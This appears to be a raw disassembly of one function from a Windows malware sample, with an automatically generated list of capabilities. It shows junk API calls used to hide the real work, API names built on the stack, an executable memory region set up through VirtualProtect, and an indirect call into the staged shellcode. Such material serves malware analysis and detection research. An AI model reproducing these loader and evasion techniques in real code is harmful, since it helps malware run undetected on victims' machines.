Function at 0x4248e0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create pipe
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Manipulate console buffer
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x29f0
call fcn.0040f370
push ebx
mov ebx, dword [esp + 0x98]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x34]
xor esi, esi
cmp esi, 0x2cc38
jge 0x424911
call ebp
cmp dword [0x7aeb94], 0x6fb
jne 0x424931
push 0
push 0
lea eax, [esp + 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
cmp esi, 0x1e9b212e
jle 0x424949
cmp edi, 0xc10bd0
je 0x424949
cmp ebx, 0x9623f60
jne 0x424952
inc esi
cmp esi, 0x9968a
jl 0x424907
cmp dword [0x7aeb94], 0xcf8
jne 0x424a30
fldz
sub esp, 8
fstp qword [esp]
call fcn.004059d0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405520
fstp st(0)
push 0
push 0
push 0
push 0x42ae50
call fcn.004058c4
push 0
call fcn.004058e1
add esp, 0x1c
push 0
push 0
call fcn.00405677
fldz
fstp qword [esp]
call fcn.00405520
fstp st(0)
push 0
push 0
call fcn.00405773
push 0
call fcn.0040563d
add esp, 0x14
push 0x4048f0
push 0x4048f4
push 0x42ae50
call fcn.0040549a
fld qword [0x404e50]
add esp, 4
fstp qword [esp]
push 0x4048fc
call fcn.00405911
add esp, 0xc
push 0
call fcn.004057b3
add esp, 4
push 0
push 0
call fcn.00405b3e
push 0
call fcn.00405b16
add esp, 0xc
push 0
call fcn.00405c58
add esp, 4
push 0
push 0
push 0
push 0
push 0
call fcn.00405328
add esp, 0x14
jmp 0x424a30
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x424a51
mov eax, 0x5d1
add dword [0x7aeb94], eax
cmp dword [0x7aeb94], 3
jne 0x424a7d
xor ecx, ecx
lea eax, [esp + 0x34]
push eax
push ecx
push ecx
push 0x404904
push ecx
mov dword [esp + 0x44], ecx
call edi
push 0
push 0
lea edx, [esp + 0x208]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x424a3e
mov eax, dword [0x7aeb94]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x42fbe4], eax
mov eax, dword [0x7aeb94]
xor esi, esi
test eax, eax
je 0x424af8
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
cmp eax, 0xfe
jne 0x424ac7
push 0
call ebx
push 0
push 0
call ebp
call fcn.00424490
mov eax, dword [0x7aeb94]
cmp eax, 0x29
jne 0x424af3
push 0
push 0
lea ecx, [esp + 0x208]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push 0
call edi
mov eax, dword [0x7aeb94]
inc esi
cmp esi, eax
jb 0x424ab6
cmp eax, 0x70
jne 0x424c47
push 0x404934
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404968
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x40499c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea edx, [esp + 0x1200]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea eax, [esp + 0x1a04]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
lea ecx, [esp + 0x204]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0
push 0x4049c0
push 0x404a34
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0x404a90
lea edx, [esp + 0x2204]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x404b70
lea eax, [esp + 0xa04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
lea ecx, [esp + 0x3c]
push ecx
push eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0
push 0
lea edx, [esp + 0x608]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea eax, [esp + 0xe04]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x404bf0
push 0x404c58
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x7aeb94]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x34], 0x9682ab
cmp eax, 3
jne 0x424c81
lea ecx, [esp + 0xc0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x7aeb94]
cmp eax, 0xdf
jne 0x424dd4
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x54]
push ecx
push edx
push edx
lea eax, [esp + 0x220c]
push eax
push edx
mov dword [esp + 0x44], edx
call ebp
push 0
push 0
push 0
call ebx
push 0x404a6c
push 0x404bd4
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x50]
push ecx
push 0
lea edx, [esp + 0xa0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x404c98
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x38]
push eax
push 0x404d50
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea ecx, [esp + 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x404d5c
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor eax, eax
lea edx, [esp + 0x3c]
push edx
push eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov dword [esp + 0x64], 0
push 0x30
lea eax, [esp + 0x6c]
push 0
push eax
call fcn.00406e10
add esp, 0xc
push 0
lea ecx, [esp + 0x68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404d7c
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov eax, dword [0x7aeb94]
dec dword [esp + 0x34]
jne 0x424c67
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x12dba7f4
nop
push 0
call edi
push 0
call ebx
dec esi
jne 0x424df0
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x42ae50
mov dword [0x42ae54], 0x32336c65
mov dword [0x42ae58], 0x6c6c642e
mov dword [0x42ae50], 0x6e72656b
mov byte [0x42ae5c], 0
call ebp
mov ecx, dword [0x42fbe4]
lea edx, [esp + 0x38]
push edx
mov dword [0x7aeb90], eax
mov eax, dword [0x7aeb94]
push 0x40
push eax
push ecx
mov byte [0x42ae5b], 0x65
mov dword [0x42ae51], 0x75747269
mov word [0x42ae55], 0x6c61
mov byte [0x42ae50], 0x56
mov word [0x42ae5c], 0x7463
mov byte [0x42ae5e], 0
mov dword [0x42ae57], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00424720
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
cmp dword [0x7aeb94], 0xba
jne 0x424eab
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x424ebe
mov eax, 0x2a29
add dword [0x42fbe4], eax
inc esi
cmp esi, 0x1605a
jl 0x424e92
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov edi, 0xf2b8b
cmp dword [0x7aeb94], 0x21
jne 0x424ee5
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x424ed2
mov eax, 0x73
mov ecx, 0x6d
mov word [0x7aeb9a], ax
mov word [0x7aeb9e], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x7aeba2], dx
mov word [0x7aebae], cx
mov word [0x7aeba0], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x7aeb98
mov dword [0x7aeba8], 0x6c0064
mov word [0x7aeb9c], cx
mov word [0x7aeb98], dx
mov word [0x7aebac], ax
mov dword [0x7aeba4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7aeb94], 0xc30
jne 0x425002
mov eax, dword [esp + 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
lea ecx, [esp + 0xe00]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push edi
lea edx, [esp + 0x604]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0x404dc8
call ebp
push edi
call dword [sym.imp.KERNEL32.dll__lclose]
push 0x404dbc
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0x404e2c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
lea eax, [esp + 0xa04]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push edi
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret